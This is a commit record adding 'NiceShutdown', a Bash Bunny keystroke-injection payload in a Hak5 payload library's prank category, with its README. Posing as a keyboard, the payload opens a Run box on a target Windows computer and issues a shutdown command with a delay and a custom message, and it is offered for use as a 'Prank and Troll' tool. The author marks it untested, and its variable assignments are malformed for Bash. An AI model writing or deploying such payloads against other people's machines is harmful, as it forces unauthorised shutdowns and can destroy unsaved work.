Add NiceShutdown (#408)

* Added files

The payload.txt and the README.md have been added to the project!

* Updated Readme

The Readme file has been updatet.

* Added development status

The development status entry has been added to the list.

* Added header.

A header containing important information has been added.

* Made a joke

A joke has been made out of the Tested: No

* Completed InfoBox and added Configuring

The InfoBox is now a real box, and the Configuring section that is currently empty has been added.

* Added DUCKY_LANG notice.

In the configuration header, the sentence "You are required to change the DUCKY_LANG." has been added.

* Various changes.

Following changes have been made:
Removed the "Tested joke"
Setting the LED
Setting the Attackmode
Added configurationstuff
Added Setting up
Added the actual shutting down

* Changed development status.

The development status has been changed to "Actually quite done".

* Changed development status

* Added quality notice.

The standard notice for Emilius123 payloads "Emilius123 payloads. Quality made in Notepad since 2019." has been added.

* Changed category

The category has been changed from "Prank" to "Prank and Troll".

* Changed version

In the files README.md and payload.txt, the Version label has changed to
version 1.0

* Changed development status.

The development status has been changed from "Actually quite done" to
"1.0 done"

* Changed Status at FINISH LED

* Quality notice is now cursive

The quality notice is now in a cursive font.

* Added notice

The notice "Please give feedback in the Forum topic." has been added and surrounded nicely.

* Update README.md

* Forum topic is now cursive

* Added pull request

The sentence "Please give Feedback in the Forum topic." has been changed to "Please give Feedback in the Forum Topic and check out the Pull request.

* Update README.md

* Update README.md

* Added additional information.

To the README and the payload, the Description, Attackmode and used
Extensions have been added.

* Removed lines

* Removed empty lines

payloads/library/prank/NiceShutdown/README.md

@@ -0,0 +1,33 @@
+# NiceShutdown
+
+* Author: Emilius123
+* Version: 1.0
+* Category: Prank and Troll
+* Supported: Windows
+* Development status: 1.0 Done
+* Attackmode: HID - Human Interface Device
+* Extensions used: Run
+
+## What does it do?
+
+This payload shuts down the target's computer with a nice message.
+
+## Configuration
+
+The shutdown message and delay can be changed. Standard message is "this is truly amazing" and standard delay is 10 seconds. 
+You are required to change the DUCKY_LANG.
+
+## Status
+
+| LED    | Status               |
+| ------ | ---------------------|
+| SETUP  | Getting stuff ready  |
+| ATTACK | Running the command  |
+| FINISH | Shutting down, unplug|
+
+\~\~\~\~\~\~\~\~\~\~\~\~\~\~
+Please give feedback in the [*Forum topic*](https://forums.hak5.org/topic/50271-payload-tester-needed-niceshutdown-shutdown-payload/?tab=comments#comment-324760) and check out the [*Pull request*](https://github.com/hak5/bashbunny-payloads/pull/408).
+\~\~\~\~\~\~\~\~\~\~\~\~\~\~
+
+
+*Emilius123 payloads. Quality made in Notepad since 2019.*

payloads/library/prank/NiceShutdown/payload.txt

@@ -0,0 +1,34 @@
+#!/bin/bash
+############################################################
+# Title: NiceShutdown					   #
+# Description: Shuts down the target with the given message#
+# Author: Emilius123					   #
+# Version: 1.0						   #
+# Category: Prank					   #
+# Supported: Windows					   #
+# Development status: 1.0 Done		   		   #
+# Tested: No						   #
+# Attackmode: HID - Human Interface Device		   #
+# Extensions used: Run		   			   #
+############################################################
+
+LED SETUP
+
+ATTACKMODE HID
+
+#--// Configuring - You can change stuff here -- \\--#
+ShutdownMessage = "this is truly amazing" # The message that is used for the Shutdown
+ShutdownDelay = "10" # The delay between attack and actual shutdown
+DUCKY_LANG de # Change to the target's exspected keyboard layout
+
+#--// Setting up \\--#
+ShutdownCommand="shutdown -s -t ${ShutdownDelay} -c \"${ShutdownMessage}\""
+
+#--// Shutting down \\--#
+LED ATTACK
+
+RUN WIN "cmd /c ${ShutdownCommand}"
+
+
+# We're done!
+LED FINISH